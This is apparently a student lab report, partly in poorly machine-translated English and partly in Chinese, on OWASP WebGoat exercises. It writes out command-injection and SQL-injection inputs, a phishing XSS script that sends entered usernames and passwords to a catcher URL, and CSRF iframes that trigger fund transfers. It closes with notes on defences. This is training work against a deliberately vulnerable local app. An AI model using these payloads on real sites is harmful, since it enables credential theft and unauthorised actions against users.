NetSec2019 20165327 Exp9 Web security infrastructure

NetSec2019 20165327 Exp9 Web security infrastructure

before:WebGoat

Description: WebGoat is OWASP organization developed a platform for web application vulnerability experiment to illustrate the security vulnerabilities exist in the web application. WebGoat run on platforms with java virtual machine currently offers training courses there are many, including XSS, thread-safe, SQL injection, access control, hidden fields, Cookie and so on.
Operation Reference: WebGoat Chinese manual
installation:
because WebGoat the default port 8080, so before opening first with netstat -tupln | grep 8080 to see if the port is occupied, if occupied, occupied with the kill process terminate process number 8080 port.
Once downloaded, the command line java -jar webgoat-container-7.0.1- war-exec.jar

Chrome to: localhost: 8080 / WebGoat directly with the default user name and password to log in, start practicing

Note: no-show, the left side of the page something which shows the problem may be jdk version

Practice

A, SQL injection attacks

Description: SQL injection attack is one of the common methods of database hacker attacks. With the development of B / S mode application development, the use of this model programmers to write applications more and more. However, due to the level and experience programmer is uneven, a significant portion of programmers writing code, there is no legitimacy input data of the user to determine the application security risk. Users can query the database of code, according to the results of the program returns, access to certain data he wants to know, which is called SQL Injection, that is SQL injection.

1, the injection command (Command Injection)

Goal: the ability to execute any system commands on the target host.
Click on the left column Injection Flaws -> Command Injection, right-click the check box and select Inspect Element review page elements to modify the source code, click on the blue arrow to the right below the standard, the content is displayed, double-click AccessControlMatrix.help, in Add at the end "& netstat -an & ipconfig".

Click on the top right side of the box View, see the network port usage and IP addresses, the attack was successful.

2, numeric SQL injection (Numeric SQL Injection)

Goal: to display weather conditions.
Click Injection Flaws-> Numeric SQL Injection ,
right-click the check box Columbia, select Inspect Element review page elements to the source code value = "101" be modified, added after the city numbered 101 or 1 = 1 .

Click Go, successful attack.

3, log deceive (Log Spoofing)

Objective: Use the username for the admin user successfully logged on display in the log.
Click Injection Flaws-> Log Spoofing,
fill webgoat% 0d% 0aLogin Succeeded for username in the User Name: 20165327yjt, use a carriage return and line feed% 0A 0D% allowed two lines in the log.
Password for the default value, click Login, you can see webgoat in the Login Fail line displays, add their own 20165327yjt statement on the next line display.

An attacker could exploit this way to add malicious script to a log file, the script returns information administrators can see through the browser. For example, the input admin as the user name, you can see the cookie information pop of (what also wood ??)

4, the injection string (String SQL Injection)

Target: injection based on the query string to construct your own SQL, all credit card information will be displayed.
Click Injection Flaws-> String SQL Injection, the user name input query YJT 'or 1 = 1--
, use the' closure in advance, "" never really insert type 1 = 1, and - comment out the contents of the back, so that we can select all the data inside the table.

5、LAB: SQL Injection

Objective: Use SQL injection bypassed authentication.
Click Injection Flaws-> LAB: SQL Injection, in the Password box enter 'or 1 = 1 -, the login fails, you will find a password that only part of the input that the password length is limited.

Right-click the Password, select Inspect Element review page elements to enter the password length to be modified.

Re-enter 'or 1 = 1 -, the login is successful.

Two, XSS attacks

1、Phishing with XSS

在XSS的帮助下实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
目标是创建一个form,要求填写用户名和密码。
一个带用户名和密码输入框的表格如下:

<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br> 
</form><br><br><HR>

点击XSS->Phishing with XSS,搜索以上代码,可以看到页面中增加了一个表单。

下方代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。

<script>
function hack()
{ 
    alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
    XSSImage=new Image; 
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>

将以上两段代码合并后,进行搜索。

<script>
function hack()
{ 
  alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
  XSSImage=new Image; 
  XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
} 
</script>

<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>

在显示的表单中输入用户名和密码,登录后WebGoat会将输入的信息捕获并反馈给我们。

2、Stored XSS Attacks

简介:常见于论坛等留言、用户留言创建非法的消息内容,输入一段JavaScript脚本,其被保存在数据库中,任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行,可以导致其他用户访问非预期的页面或内容。
点击XSS - > Stored XSS Attacks,在Title中输入20165327,留言板Message中输入。
点击Submit->标红的20165327,攻击成功。

3、Reflected XSS AttacksXSS反射型攻击,恶意代码并没有保存在目标网站,通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击,实施攻击。

点击XSS - > Reflected XSS Attacks,在Enter your three digit access code中输入。
点击Purchase,成功显示警告框,内容为我们script脚本指定的内容。

三、CSRF攻击

1、Cross Site Request Forgery(CSRF)

CSRF通过伪装来自受信任用户的请求来利用受信任的网站。目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。
点击XSS->Cross Site Request Forgery(CSRF),
查看下方Parameters中的scr和menu值为308和900。

在Message框中输入,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。其中语句中的&transferFunds=5327即转走的受害人的金额,宽高设置成1像素的目的是隐藏该图片。
点击Submit提交,在Message List中生成以Title命名的链接。

点击该链接,当前页面就会下载这个消息并显示出来,转走用户的5327元,从而达到CSRF攻击的目的。

虽然没文字显示转走的数额,但是左侧绿色√可以看出任务完成!

2、CSRF Prompt By-Pass

点击XSS - >CSRF Prompt By-Pass,查看Parameters中的scr和menu值为318和900。

输入任意Title,在Message中输入

  <iframe src="attack?Screen=318&menu=900&transferFunds=5327"> </iframe>
  <iframe src="attack?Screen=318&menu=900&transferFunds=CONFIRM"> </iframe>
![](https://img2018.cnblogs.com/blog/1296452/201905/1296452-20190526161250089-1487049662.png)

点击Submit生成以Title命名的链接,点击链接,攻击成功。

after实验回答问题

(1)SQL注入攻击原理,如何防御

答:原理:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。
比如登录过程,SQL语句一般为select id from users where username = '"+username +"' and password = '" + password +"',这里的username和password都是我们存取从web表单获得的数据。如果我们在表单中username的输入框中输入' or 1=1--,此时我们所要执行的sql语句就变成了select id from users where username = '' or 1=1-- and password = ''。因为1=1是true,后面 and password = ''被注释掉了,所以这里完全跳过了sql验证。
以上是最经典的一种情况。但在本次实验中,还涉及到了网页对输入字符长度的限制等等,需要修改相应的代码。
防御:
①关闭或删除不必要的交互式提交表单页面;
②对漏洞注入点相关代码进行代码及SQL注入关键字的过滤,以规范代码安全性;
③不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点。

(2)XSS攻击的原理,如何防御

答:原理:攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
防御:
①浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;
②从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段。
③一个原则:不相信用户输入的任何数据!

(3)CSRF攻击原理,如何防御

答:原理:CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。
严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。
防御:
改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。
使用“请求令牌”。首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在Session里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与Session中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。

遇到的问题以及解决办法:

一、打开网页以后没攻击列表

解决:应该安装jdk1.8,kali自带的jdk不支持。

Guess you like

Origin www.cnblogs.com/yjtblog/p/10920396.html